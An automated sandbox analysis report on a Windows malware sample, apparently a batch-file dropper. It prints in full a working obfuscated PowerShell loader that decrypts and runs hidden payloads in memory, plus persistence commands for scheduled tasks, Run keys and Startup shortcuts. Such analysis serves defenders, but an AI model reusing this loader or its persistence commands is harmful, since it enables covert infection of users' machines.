Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: netutils.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: e45iasd.lnk.16.dr

LNK file: ..\..\..\..\..\..\Local\Temp\e45iasd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: powershell.pdbUGP source: e45iasd.exe, 00000016.00000000.1556727375.00007FF6D073A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.16.dr
Source:	Binary string: powershell.pdb source: e45iasd.exe, 00000016.00000000.1556727375.00007FF6D073A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.16.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.263b45551b0.9.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.263bc030000.12.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.263b45a51e8.8.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior

Source: e45iasd.exe.16.dr

Static PE information: 0x7EDA4115 [Wed Jun 10 07:45:25 2037 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886C402FD push ds; iretd	5_2_00007FF886C403E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886C47920 pushad ; retf 5F4Dh	5_2_00007FF886C4799D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886D133EC pushfd ; iretd	5_2_00007FF886D133ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF886B3D2A5 pushad ; iretd	8_2_00007FF886B3D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF886B3FC75 pushad ; iretd	8_2_00007FF886B3FC77
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF886C50B9A push ds; iretd	8_2_00007FF886C50BA2
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C5776A pushad ; iretd	24_2_00007FF886C5785D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C5785E push eax; iretd	24_2_00007FF886C5786D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C6785E push eax; iretd	24_2_00007FF886C6786D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C677FB pushad ; iretd	24_2_00007FF886C6785D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C50B9A push ds; iretd	24_2_00007FF886C50BA2
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C57918 push ebx; retf	24_2_00007FF886C5796A
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4776A pushad ; iretd	26_2_00007FF886C4785D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4785E push eax; iretd	26_2_00007FF886C4786D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C40B9A push ds; iretd	26_2_00007FF886C40BA2
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C47963 push ebx; retf	26_2_00007FF886C4796A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\e45iasd.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e45iasd			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e45iasd			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
